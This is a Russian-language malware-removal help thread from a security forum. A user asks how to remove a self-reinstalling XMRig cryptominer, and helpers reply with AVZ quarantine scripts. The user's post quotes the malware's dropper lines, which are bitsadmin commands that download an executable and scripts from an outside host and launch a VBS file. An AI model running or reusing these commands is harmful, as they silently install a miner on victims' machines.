Xmrig32.exe CPU Miner с автозакачкой файлов. Как удалить?

[Sarpix]

Недавно появился CPU Miner с автозакачкой файлов. Как удалить? Ничего лишнего не устанавливал, не скачивал, на сайты не заходил. Находятся файлы в папке C:\Users\Андрей\AppData\Roaming\AppData. Один скрытый файл .tmp со строкам закачки файлов с сайта.
Вот эти строки прописаны в нём

bitsadmin /transfer /download /priority high "http://getshlink.in/m/f/xmrig32.exe" "%cd%\xmrig32.exe"
bitsadmin /transfer /download /priority high "http://getshlink.in/m/f/example32.cmd" "%cd%\example32.cmd"
bitsadmin /transfer /download /priority high "http://getshlink.in/m/f/32.vbs" "%cd%\32.vbs"
start 32.vbs

[Info_bot]

Уважаемый(ая) Sarpix, спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[thyrex]

Выполните скрипт в AVZ

begin
 QuarantineFile('C:\Users\Андрей\AppData\Roaming\AppData\NVIDIA Cryptex HD.vbs','');
BC_ImportAll;
BC_Activate;
RebootWindows(false);
end.

Будет выполнена перезагрузка компьютера.

Выполните скрипт в AVZ

begin
CreateQurantineArchive('c:\quarantine.zip');
end.

c:\quarantine.zip пришлите по красной ссылке Прислать запрошенный карантин над первым сообщением темы.

[Sarpix]

После этих действий майнер всё равно запускается и работает. Также файлы майнера остаются в папке и продолжают сами закачиваться после удаления...

[thyrex]

Сделайте лог полного сканирования МВАМ